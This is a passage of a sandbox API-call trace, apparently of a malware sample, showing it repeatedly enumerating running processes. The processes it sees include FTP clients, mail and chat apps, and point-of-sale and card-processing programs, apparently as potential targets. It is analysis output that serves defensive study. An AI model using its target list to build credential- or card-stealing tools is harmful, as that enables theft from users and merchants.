szExeFile="iexplore.exe")) returned 1 [0256.405] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0256.407] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0256.409] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0256.411] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0256.413] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0256.416] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0256.418] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0256.420] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0256.422] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0256.424] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0256.427] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0256.429] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0256.431] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0256.433] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0256.435] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0256.437] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0256.439] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0256.491] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0256.493] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0256.495] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0256.497] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0256.499] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0256.501] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0256.505] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0256.507] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0256.509] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0256.512] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0256.515] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0256.517] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0256.520] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0256.523] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0256.525] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0256.528] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0256.530] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0256.532] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0256.584] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0256.587] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0256.589] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0256.592] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0256.594] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0256.597] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0256.599] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0256.602] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0256.604] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0256.608] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0256.610] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0256.627] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0256.687] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0256.689] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0256.691] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0256.693] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0256.695] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0256.697] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0256.699] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0256.700] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0256.702] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0256.704] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0256.705] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0256.707] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0256.709] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0256.710] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0256.712] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0256.715] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0256.717] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0256.718] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0256.720] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0256.721] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0256.774] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.776] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.778] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.780] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0256.782] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0256.784] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.786] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0256.788] CloseHandle (hObject=0x1038) returned 1 [0256.789] Sleep (dwMilliseconds=0x64) [0256.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0256.876] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.928] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.931] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.933] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.935] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.938] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.939] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.941] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.942] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.944] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, 